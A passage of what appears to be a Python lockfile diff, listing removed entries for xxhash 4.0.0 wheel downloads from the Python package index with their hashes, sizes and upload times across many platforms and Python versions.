"sha256:5b7ce6de9166b8a8c1c29d5eab91b508f4c31ae3ff8626a3ed65bd2cbbe64a40", size = 38087, upload-time = "2026-08-12T16:53:10.683Z" }, - { url = "https://files.pythonhosted.org/packages/23/27/a1370dc53ae4c10efe0eef02dfc57a613b4e104073a335fa88c3983e8b12/xxhash-4.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3b783b3b8a7c6cb79be6be6c32cc0f9c2dc3bbf4beb013bece39b4f8fcb2b4de", size = 35925, upload-time = "2026-08-12T16:52:51.017Z" }, - { url = "https://files.pythonhosted.org/packages/d8/87/f0703078a7cae7caf210d77ad6a2d91509434c1c1496233bb304e1202933/xxhash-4.0.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:601b3c3b09b44ed2ada35674bcb19c435ba9203862a4832731384269391bfed9", size = 252935, upload-time = "2026-08-12T16:52:50.195Z" }, - { url = "https://files.pythonhosted.org/packages/a2/ec/f472a6bc86208de130b2317af1aefe08d5139bd06696e7e920cf47d8b6bb/xxhash-4.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7e38e909ed1d5a86511bf2fc57891d0fea5ef64063cf7995bf954cef2365b2b", size = 276246, upload-time = "2026-08-12T16:53:14.475Z" }, - { url = "https://files.pythonhosted.org/packages/74/7c/4ff4ad2f16169070461460bdb99568eebd167932d8145f793d1cdba8077c/xxhash-4.0.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:492f267d1dedeef7c44310e60a08f38f34db75ed373062fafe68aa09801e4281", size = 295909, upload-time = "2026-08-12T16:53:08.962Z" }, - { url = "https://files.pythonhosted.org/packages/17/1d/417266187a86a340f4b8ec55d16844cbc53c20fd0503e7fb5b7a07aabd55/xxhash-4.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f2bc28050a61684f1c825ca72be56eefe1421112d1ccceb4eb99d86b52aa4c56", size = 279566, upload-time = "2026-08-12T16:53:22.923Z" }, - { url = "https://files.pythonhosted.org/packages/78/2a/c5e4987c4fa758bcaaa6fe320ecde667380e93ae206f36daa37c4545cc8f/xxhash-4.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:97730a254c3d11e43dffa815a9837a622d7f2a30a9d897bd29184d5589b7dc25", size = 509522, upload-time = "2026-08-12T16:54:01.123Z" }, - { url = "https://files.pythonhosted.org/packages/61/d7/1a3e8044c94053e8230ae746218741dcad2e67ceb4ce3d55bc85f923f406/xxhash-4.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:baa9828055ebaa00b95523aabef7504c3d1685bfab48b7c2ed15d0ba56269708", size = 260625, upload-time = "2026-08-12T16:53:19.979Z" }, - { url = "https://files.pythonhosted.org/packages/24/07/05186cfaa8410f5f6d14a691db021d930a84bc2205e45d6bed61078b8af5/xxhash-4.0.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:23ec6388d554e523bc06bf40dbf2dd09b74af246a6f2a6a17223a16fc575f676", size = 339347, upload-time = "2026-08-12T16:52:57.801Z" }, - { url = "https://files.pythonhosted.org/packages/3e/17/7628c83969d68287fb174aa3b993c5147c578ae60856f72ffad488cd1684/xxhash-4.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c1d56a5c9fb9c6c6a6eaf0adbe398c57ab6e89348a83cb99d230a52668cea557", size = 272193, upload-time = "2026-08-12T16:52:58.823Z" }, - { url = "https://files.pythonhosted.org/packages/a7/18/ded75ea5a74b8538d75e825558dbc0304726509890980edf0dd9884f3a02/xxhash-4.0.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:681892a96f5727e4a082af13fb75c1cbf1ef66f2d56cadeddf31db6bbaa09945", size = 300004, upload-time = "2026-08-12T16:53:18.853Z" }, - { url = "https://files.pythonhosted.org/packages/7a/c5/5215550ec7690a9dbc406a6e29cb77a130bdb1942fb639d6fbf2005f11e6/xxhash-4.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4395c0a03a1336915c677fc71e1693afb1317751ea80c130b23d6292d14f75fe", size = 258893, upload-time = "2026-08-12T16:53:41.076Z" }, - { url = "https://files.pythonhosted.org/packages/d7/a0/8d7a0addb64e32762af3f5e7838e1808a6997a516a2493648d651ba795c1/xxhash-4.0.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:2987f0908d5e3908bc1949a0ca4f465583ba55befad5899581edfb6b59441f56", size = 277785, upload-time = "2026-08-12T16:59:00.01Z" }, - { url = "https://files.pythonhosted.org/packages/13/1c/62dd9957ed770b2ef5f8fc0527442975afd4055921ba009fef54d54f0b79/xxhash-4.0.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:3de54ba80c88096fbcca29e3b255989b3bca02e47a976bf9303de2f36261c57f", size = 329548, upload-time = "2026-08-12T16:54:05.821Z" }, - { url = "https://files.pythonhosted.org/packages/30/c7/329ba182d0fdc65fce8057fa9bc0d8979e7bd31cd4cfbc4fd991d1db2db0/xxhash-4.0.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:0a9d3fc725df9b0029094dbbe700a5d4633881f2afb87392ce5860388c22bebd", size = 477008, upload-time = "2026-08-12T16:53:37.32Z" }, - { url = "https://files.pythonhosted.org/packages/81/c9/f9041891290b403d07de8cdc66da95289e6b407bc83d16be62a6acaad5f1/xxhash-4.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:84e0b626285289e40be24eefd51ab9fef9bc6373f4025c3271b3b0e3a2ac78f3", size = 257166, upload-time = "2026-08-12T16:53:07.244Z" }, - { url = "https://files.pythonhosted.org/packages/ee/ae/6f0f310ea658e83df21f171fed313f6be01fe918a2eec76c4ea549b79233/xxhash-4.0.0-cp311-cp311-win32.whl", hash = "sha256:6ec7a1b252ba32719605ecc2f9bd4230fdb3b5f0bb424c671961d21dd0acf7db", size = 34287, upload-time = "2026-08-12T16:53:09.692Z" }, - { url = "https://files.pythonhosted.org/packages/02/cc/3702bf613a42923627bbad08b434237cef9b525b00341207496548cb10af/xxhash-4.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:50cf753d4d93797c2d32a72c305ab7017af4bae9bb6c999222fb29d9ea9961f7", size = 36653, upload-time = "2026-08-12T16:53:29.162Z" }, - { url = "https://files.pythonhosted.org/packages/6c/5e/d0ccb316354dbf7d5868896e5d87bceb6f50710d6b386159294a4da4679e/xxhash-4.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:460146a030d3dfcd6cd08a0bb45c2fe10f04026f80ac16ae42a846e8d850f0ce", size = 32958, upload-time = "2026-08-12T16:53:46.82Z" }, - { url = "https://files.pythonhosted.org/packages/19/d9/493e761ee66047de5d15b7b5137972bf26d889eb58e49b1f18e2f35cea6e/xxhash-4.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8d58ab471ab4442ac29ce225edf496f40d136dba552b0a718c796d14b71550b0", size = 38115, upload-time = "2026-08-12T16:59:02.316Z" }, - { url = "https://files.pythonhosted.org/packages/87/7b/a03aca88de3fae90f619ef6acd72b90e4b06e840a66ed4574558c29a080b/xxhash-4.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d3a42fa24a47961e38ace7e4675680eb3cbd024588eb0dbc9dfbd009f4dce6bd", size = 35932, upload-time = "2026-08-12T16:54:12.151Z" }, - { url = "https://files.pythonhosted.org/packages/e9/b4/8e935dc765a3018ada3da2455eed2e878c6cb686a9c01b3db1619a7c79b5/xxhash-4.0.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e4c6eca223bcd94a9a5d291512114364facc5c4738c0d468ced386e88fa9071b", size = 252775, upload-time = "2026-08-12T16:53:43.21Z" }, - { url = "https://files.pythonhosted.org/packages/f4/aa/7c1cbcf64d8c5e9ea23808356af91a158e891e08d8f206884ceaf0425d61/xxhash-4.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7264a1a8bc4cda273347b6fead2a15c1fc070736160fe927867279a9d991604a", size = 276218, upload-time = "2026-08-12T16:53:12.936Z" }, - { url = "https://files.pythonhosted.org/packages/07/a3/5ffcecc8fb1480f147a5396ae52b27a9b519092d0ba31a4c614a5a0ecc57/xxhash-4.0.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7f9a849a801557a3a2dc9226dfd11b6911c766cb3f16d36822488204788de65b", size = 297412, upload-time = "2026-08-12T16:53:38.689Z" }, - { url = "https://files.pythonhosted.org/packages/5b/90/c4067783a921aa055372bf2f66fccec0bb4fd06edd6ab3b752b973492d05/xxhash-4.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f9a33820c448e9fa3a720396d90ae3eff7dfa942d86af855965a095f954d0ac7", size = 279882, upload-time = "2026-08-12T16:53:38.703Z" }, - { url = "https://files.pythonhosted.org/packages/d1/0c/a777dbcd2f10517a0f49cd276b9c6a2d1f30cc0bde0f67da65b56849a646/xxhash-4.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:76989952a47452f66ac213779b62961b8e489c98f45c4ea7d7dea9115a00d06f", size = 510640, upload-time = "2026-08-12T16:54:01.844Z" }, - { url = "https://files.pythonhosted.org/packages/22/bb/4148016c68211d8cc348eabe06e40686c71c4f7b336261f4b4e72d2d46ab/xxhash-4.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c72ee49f74745e554226018e56dd93d4ff924dfa870d119a59828d29080853", size = 261458, upload-time = "2026-08-12T16:59:04.292Z" }, - { url = "https://files.pythonhosted.org/packages/72/dc/170ee0593a11c472e32b745b6a300f2eaf531347d1053bbc411f24d3071e/xxhash-4.0.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9335b632cdec5498068372b75ab18a6c1905eb51ba76c727db46080b66ef7d4f", size = 339621, upload-time = "2026-08-12T16:54:31.079Z" }, - { url = "https://files.pythonhosted.org/packages/c8/8b/b31e1be5d3f892eb8fa306d1bfbe7c1c5c4d6011e045351434278c2526d3/xxhash-4.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b939f78096460a1e3905cd92815d01fde6fb2c54a544daf8ea03a1fded41d74b", size = 272552, upload-time = "2026-08-12T16:53:48.526Z" }, - { url = "https://files.pythonhosted.org/packages/f0/1f/82830fa11afb369ae8ab0692d316e68be6128d12756e22d23d0f7a5b34aa/xxhash-4.0.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:7d6fe512a9c84e5031d1b97c7b931c7694ba7f10f44bf4466c219f468f0ed749", size = 301046, upload-time = "2026-08-12T16:53:30.172Z" }, - { url = "https://files.pythonhosted.org/packages/a0/c0/b081f9ae955d452be3b8f3c17ef8d5d4484606ea871c45f73046d9eaf438/xxhash-4.0.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5a9656d42c8e87013655a8a668a870222235ae26cbaae69c922b12c66b672f38", size = 259794, upload-time = "2026-08-12T16:53:52.134Z" }, - { url = "https://files.pythonhosted.org/packages/1e/01/b35974b9890d5d1d83c325220f9e98482c54109a4e98e3596b9464de4813/xxhash-4.0.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:14b91efc9fc7072ee22b4ce0c778d41e53dd2d45ca5b16fdfe8cf33ebad3c386", size = 277906, upload-time = "2026-08-12T16:53:50.359Z" }, - { url = "https://files.pythonhosted.org/packages/84/95/78d8a7228a9caa65e7adcfe0a72c160b2e739930f90ae0b4267386d8510e/xxhash-4.0.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:7e07cba198b78fef4ea81b219058ee3e9ed8d612b055e0388b205a3f20e1b70e", size = 329997, upload-time = "2026-08-12T16:54:06.363Z" }, - { url = "https://files.pythonhosted.org/packages/3c/84/29f5bbbcc14a56ccfa4fe0e025ce2fa55ee4b40485a268c828c47ce52405/xxhash-4.0.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:963e5b1f0152193703997eabcdb7320c0d2e3f934a00be03a25dac4fb4af66dd", size = 478204, upload-time = "2026-08-12T16:59:07.4Z" }, - { url = "https://files.pythonhosted.org/packages/b0/13/56da2f5d5f2eb28b64aca54240e555221a8e2292644b60a73f46dfaaacb5/xxhash-4.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bc49915f326b888773979381140eb1a5e804fbc872670f6a2d36d8d421225a2a", size = 257845, upload-time = "2026-08-12T16:54:42.948Z" }, - { url = "https://files.pythonhosted.org/packages/f7/80/65141cc3d3e6b0cd52b4c7d9af32a6fbc3ea223995cfabf406b2f589e0c1/xxhash-4.0.0-cp312-cp312-pyemscripten_2024_0_wasm32.whl", hash = "sha256:89bc01208487b7f4b0b636b4e8b809ec3c41644fc38487394d9faf9570d4795b", size = 20416, upload-time = "2026-08-12T16:54:03.689Z" }, - { url = "https://files.pythonhosted.org/packages/dd/cb/8e261dc126968573b999908fdc091705e850337af24a3492f44b3d48de58/xxhash-4.0.0-cp312-cp312-win32.whl", hash = "sha256:453c9bff5e2c6a2b938704e41965c65d1339a2e07817e1cacaf239c330af4d5e", size = 34309, upload-time = "2026-08-12T16:54:04.695Z" }, - { url = "https://files.pythonhosted.org/packages/ff/bb/edec8f095a24a331293fbdacbed9addc4f5a6f2e2f88c3ed539d7cbdb438/xxhash-4.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:4f8515f2e70a98382adf2c1b1e413f3bfa46a3cb1b35752928265577f958f1da", size = 36739, upload-time = "2026-08-12T16:54:02.85Z" }, - { url = "https://files.pythonhosted.org/packages/f1/c8/42de8febea42413de52b2d1ac5bf0081aba71c37705a3565c0c021f46bc0/xxhash-4.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:63f3cac239fcdcdcbc56cbaf5b5164f056e8a2b1e06d61436c134628743eabfa", size = 32970, upload-time = "2026-08-12T16:54:28.673Z" }, - { url = "https://files.pythonhosted.org/packages/af/34/1a6f7f86d94084ded050f6f7b3dadb6103d8cce0bc2022f7f45f003d4b97/xxhash-4.0.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:3ad3124acd9ae0c8d069cd1879e453ded1d5b72024b1f7a90cf8fb1d30f9681a", size = 43233, upload-time = "2026-08-12T16:54:14.472Z" }, - { url = "https://files.pythonhosted.org/packages/aa/fa/e71472c0af1c6cd710f50fdda7cd0fe2931977c40845dcf3d45ef93fd633/xxhash-4.0.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:abeae2d9e797f7bdd627df6785d4839517d1f67a0f91deb4da27ab3417e5c56c", size = 40311, upload-time = "2026-08-12T16:59:10.158Z" }, - { url = "https://files.pythonhosted.org/packages/3e/fe/3456e5d85a89d6421d009ca97fb77a9f5cefc5c8d465232be51aa39ac591/xxhash-4.0.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:cdf3a9494a0418d37cb1d7b490620b331b09167e5923fcde9d0bc759a87e33dc", size = 34376, upload-time = "2026-08-12T16:54:45.456Z" }, - { url = "https://files.pythonhosted.org/packages/a8/06/9cc19701019915c83767f78be0a16aa3ce0be01372f964c6545941bcf298/xxhash-4.0.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:af6ba29275dde4eba5fc223a7635edb88fbaf658289e1f89007e05c74204bc06", size = 35335, upload-time = "2026-08-12T16:54:07.032Z" }, - { url = "https://files.pythonhosted.org/packages/f3/f2/871dfea505b2ed142c536046fd06b42478b50ac45bb793d3ad151dfdc9cf/xxhash-4.0.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:51288138c05f55fd1cb9c98c33e01eb573744e768ac342e3e938d03b0e0b9683", size = 37637, upload-time = "2026-08-12T16:54:07.605Z" }, - { url = "https://files.pythonhosted.org/packages/57/d2/0585560cd638f267c8a6e219b1acb428e8a7e1d9170d47df2e8b8af4ecbe/xxhash-4.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0ed59c8f1eabb250cb293590dd59af835e4b6c5a2c749923ae1292c3743ec82a", size = 37735, upload-time = "2026-08-12T16:54:23.115Z" }, - { url = "https://files.pythonhosted.org/packages/c4/a3/c65f35ea36754998e4359cd4be71b3685c8847e1ff3c7217ef5d624e237c/xxhash-4.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6838e142ac44cb0838c395db285d040784404dd33f6b7d92b2338f2d849f8b97", size = 35578, upload-time = "2026-08-12T16:54:41.782Z" }, - { url = "https://files.pythonhosted.org/packages/0f/33/6a0d39f99177f34a85f215293fbc064a7de3c2f65eb29c3300119fd7291e/xxhash-4.0.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:070fde1355b8ba1da1ab78fe78297abb919a61aea5adbf2b8ee2a2a592ce007b", size = 259108, upload-time = "2026-08-12T16:54:17.662Z" }, - { url = "https://files.pythonhosted.org/packages/24/d8/b2391845e679b0bcfa915643d89492dc80b814d526a35de03d4685fd6f70/xxhash-4.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2ed50ea632e80951cedd89714505a8f85d199f2014faba4bbbc81baccc1c2081", size = 283622, upload-time = "2026-08-12T16:59:15.896Z" }, - { url = "https://files.pythonhosted.org/packages/63/ba/f0d8766eec1928a03ad9ff9c6a1447c73628f0b998968f92ea947ed6af92/xxhash-4.0.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:73274fe4597094bb5c19f9812b044d97d6ded8fefb04599bd2710dc5963fbb2f", size = 303437, upload-time = "2026-08-12T16:54:54.341Z" }, - { url = "https://files.pythonhosted.org/packages/76/c7/ad5c80fa54796328f2517899b4cfa3a94784abcd6057fb9cbedb829910fb/xxhash-4.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f0170f95d0c15c7d60cbac9b0d10dfefc01f0ecd61ce3609936495bf988189fb", size = 286862, upload-time = "2026-08-12T16:54:10.78Z" }, - { url = "https://files.pythonhosted.org/packages/b0/e6/d0ff14bfda7b5e660aad7e6e342dbc3af6cc1e9e645ce26a46fe6f2f1efd/xxhash-4.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:45b905eb4116ae7ad280ba9f5b702fe77569403d53b90762b3d0509ddec3b9cd", size = 519477, upload-time = "2026-08-12T16:54:13.461Z" }, - { url = "https://files.pythonhosted.org/packages/4e/33/2e50c9a828240d76a956d2b4426f8f1e5264a60a06b84c9150b718ec8633/xxhash-4.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ae29aa4ca0d8be4c13154bea4a82f77ed62062d400ead38b599b2d7bbf5b727", size = 268202, upload-time = "2026-08-12T16:54:34.635Z" }, - { url = "https://files.pythonhosted.org/packages/48/ca/f8350df6ff74963e6f7dd88edf200b17ee33dc6eba1a892f70e7f1378e2d/xxhash-4.0.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b72e2a2f65dbda433f09e1de5a116366b3305d5f4a968f44e4ac1023dd053744", size = 344705, upload-time = "2026-08-12T16:59:04.261Z" }, - { url = "https://files.pythonhosted.org/packages/f8/70/87e0c9d65bc47a285e97024de83e237fa2309cb556a28972738dbbc9fc2d/xxhash-4.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:57ebd48125d8a469bdb167a53199213a068088a28a4e5c05bf57c15cc6eb8c7b", size = 279524, upload-time = "2026-08-12T16:54:24.045Z" }, - { url = "https://files.pythonhosted.org/packages/86/45/1f37db24c05e316767f4cb5eb00c4ad6c5d06718a71faf5d34aac0afad01/xxhash-4.0.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ccbfe39040e2b4643e7e2cdef623fd45d187e430f0e6631d41101d2454cfb3e4", size = 307154, upload-time = "2026-08-12T16:59:18.85Z" }, - { url = "https://files.pythonhosted.org/packages/eb/34/771af917dbb390619083afa56c975b6e25b3256c3f8f8b93e688ceb6a42a/xxhash-4.0.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:edb635eb0904a04b27585a02e9030692dd0a642cdcf3f46834f598281fad246d", size = 265495, upload-time = "2026-08-12T16:55:24.769Z" }, - { url = "https://files.pythonhosted.org/packages/b3/72/0e3d8e0a6153d22abcca15cc13e1a9a488b855e255839713347e69deca83/xxhash-4.0.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:e9e68e32f9d7d6dacf3b7a9b7f777cbe2e2db975606e6e2af098c73ad89f09c3", size = 284019, upload-time = "2026-08-12T16:54:16.243Z" }, - { url = "https://files.pythonhosted.org/packages/24/2f/e4f1384a85479805f2dab9501b461ad6011e58aee9f74ec6a1919c228fba/xxhash-4.0.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:1f9c48c63f707de4c9e76da46418838a8ab07ebd3608188389008fba264e433d", size = 335645, upload-time = "2026-08-12T16:54:22.272Z" }, - { url = "https://files.pythonhosted.org/packages/3a/27/a0b66e349a0f8a855ff62b16ef0244c231a50f7d001fb91f0fb1616b851c/xxhash-4.0.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:07958037004350048b62ac5d088c08f83f4291c36ebe7e302f6497773903dcee", size = 486666, upload-time = "2026-08-12T16:54:43.505Z" }, - { url = "https://files.pythonhosted.org/packages/47/c8/cc99d61a81d0b3d38fdbb7c7c702a3a0577f48527b768885c0a26af06722/xxhash-4.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e54e35ff1095737599338b264d092e60c770b9c319badc47d3c61f4e037ec9b9", size = 263982, upload-time = "2026-08-12T16:59:06.51Z" }, - { url = "https://files.pythonhosted.org/packages/8d/23/f30b4d31469b1ee79316b7970e1e2b87185af16924d62ff2a77f085c0246/xxhash-4.0.0-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:340d30e1030d0cfd239a96b45ce3368dac061517a4c56283e3d0ac4b5da43a10", size = 20220, upload-time = "2026-08-12T16:54:41.041Z" }, - { url = "https://files.pythonhosted.org/packages/39/0f/6ff9aa9f7ec323a690fa94737be54bdcf3b28ad445d9419394a5bfc60aa3/xxhash-4.0.0-cp313-cp313-win32.whl", hash = "sha256:54c09a575b8b7c9c77ece653c6267dbef7829144358403ec2aa06cfc16d2a737", size = 34096, upload-time = "2026-08-12T16:59:20.735Z" }, - { url = "https://files.pythonhosted.org/packages/2c/39/34472a4ee5bba5abba4f5cbe6b4e6e9636a408b9e1d1dfbb856e057b193a/xxhash-4.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:c5f7268147219bad4ffa56a06a0416d30b9a4c16dd1f2fc847bcee0a82babdb7", size = 36139, upload-time = "2026-08-12T16:55:27.256Z" }, - { url = "https://files.pythonhosted.org/packages/00/8e/2b85ae94a5b112512552e6bac3c81dca62bd09344bed7eed39918152bb3a/xxhash-4.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:efde4e9568509643cf149e4d9ff8dd33aaf0e933d4e75f50549072807bd2d2c6", size = 33087, upload-time = "2026-08-12T16:54:18.504Z" }, - { url = "https://files.pythonhosted.org/packages/ab/41/588e92b0ebee8068499619795948a010d8f95eccb5a09f9f2f9917b8aae8/xxhash-4.0.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:db84ea3b737a6739a85e83369d1580735429ce77aeaa170098cae68c53808823", size = 43322, upload-time = "2026-08-12T16:54:34.351Z" }, - { url = "https://files.pythonhosted.org/packages/bd/9f/a7842537ae06bb81e4ef56c86c761f1679d2db23bbbdae58de26bc794ff0/xxhash-4.0.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:1cd2a1f525f6de2f12f2f082f3cb3cef42c1e312391a5c775aef29e250fbe025", size = 40391, upload-time = "2026-08-12T16:54:58.446Z" }, - { url = "https://files.pythonhosted.org/packages/a1/30/ac4bc97e28ba17c4bdc6ca7205a165aaa85d78d5b31370038217515e7364/xxhash-4.0.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:76e518792bab77567bbec2ffa79a832b4d6d6f3e381eebe5438f4edaedfe60e8", size = 34405, upload-time = "2026-08-12T16:59:12.225Z" }, - { url = "https://files.pythonhosted.org/packages/6f/98/d595fd2d231b6ad000c23f2d5b2d8927378b783cdc727b94906fd36fe7ac/xxhash-4.0.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:8846f6f7fc91b31da17e65fa1388dc7564ab2a49705bafc7385685cb138d8c97", size = 35333, upload-time = "2026-08-12T16:54:45.926Z" }, - { url = "https://files.pythonhosted.org/packages/31/36/004f2c793ea27b380ca288237438bc39efe3e009158de7dcd2ebaea193a8/xxhash-4.0.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:281bee1d220ef2bcd98da244645b64b63ab4529639adfae08493149b683dca7c", size = 37702, upload-time = "2026-08-12T16:59:22.503Z" }, - { url = "https://files.pythonhosted.org/packages/36/77/a8a518eff9772f074a73fbe21b5bed8d6c2a2be9190a9e1ffd33f4565ca3/xxhash-4.0.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06c1d6011c7126da93a6ec1fdb587a9e672622721747287c49f0d9f8c74d8a2c", size = 37859, upload-time = "2026-08-12T16:55:31.76Z" }, - { url = "https://files.pythonhosted.org/packages/4a/1c/03d2ef7526bea146d10247fbb546ac5c204374825e00f333e050034da9a9/xxhash-4.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:63572670b457b18404aa2bf1e4eccf15b11897cb84c1d8d37f245ac3c0398564", size = 35579, upload-time = "2026-08-12T16:54:32.47Z" }, - { url = "https://files.pythonhosted.org/packages/82/d4/5586b3bb8564d48bcad8db26ded6fa441adf352348f794a20d35b163782e/xxhash-4.0.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5f4ef8e1187013597c2ce1dd0f1eb03111d53b524ac4e31edbcbd44ca99c20ab", size = 259237, upload-time = "2026-08-12T16:54:38.665Z" }, - { url = "https://files.pythonhosted.org/packages/86/2e/de7da52bbb6efe85b609bc45fe31973f4cdc5abb3e66a20aca0d158dafb3/xxhash-4.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:945ec1b96f381c3646baf7a3a02dd9c5c2f1471f6433f3fe76f54dacdf865b4f", size = 283931, upload-time = "2026-08-12T16:55:03.414Z" }, - { url = "https://files.pythonhosted.org/packages/27/ca/fa6b3dfba13123a4ba48e9c024275d46e6ab84f79836d25ea59cf4b264f5/xxhash-4.0.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f0debc5d798cc976edec29e6b2b3b995144cabbcd1434a2b3a3132a3b7f72cd0", size = 303589, upload-time = "2026-08-12T16:59:14.762Z" }, - { url = "https://files.pythonhosted.org/packages/c3/af/834b2d3da35052307a7892b111e60d825b28ce7a5ebb400664a25f5795a6/xxhash-4.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:69b66cc631ad37f07e44ca04ec44eadcc86d0ecb9533c151e01df44c0741f2fe", size = 287097, upload-time = "2026-08-12T16:54:50.85Z" }, - { url = "https://files.pythonhosted.org/packages/31/b9/155d29cd9fae4fe3814cc072bfd4c2b45d1814f4c48c7b85e3850c9e7bf7/xxhash-4.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c1ad023a357ae1210f6d5fff4cca7273c08cf4adbf60cc6df243c262d3ce6a1b", size = 518895, upload-time = "2026-08-12T16:59:24.55Z" }, - { url = "https://files.pythonhosted.org/packages/55/d9/ad3a313fbaea9116cd33b1f1c454eb363012ce46933e1760ac072b1ee9f9/xxhash-4.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0a2fcead5cdff26b002e8336cdec6f6eea588d350b1ec1010801878c9381779f", size = 267820, upload-time = "2026-08-12T16:55:36.44Z" }, - { url = "https://files.pythonhosted.org/packages/1a/bb/dfa99ca585e2e7275f0fec3c93a2907a2e1f0a0498af1d320c425701dc15/xxhash-4.0.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:adc511931fda0114b05611b14474471b0a472ca9153fc347d30ed96fd628bbf7", size = 345169, upload-time = "2026-08-12T16:54:41.138Z" }, - { url = "https://files.pythonhosted.org/packages/98/b0/e6a00e115cb9c0c7a32375e23d4dc4b94e733e756766978a9c6fc7aa9cbe/xxhash-4.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = 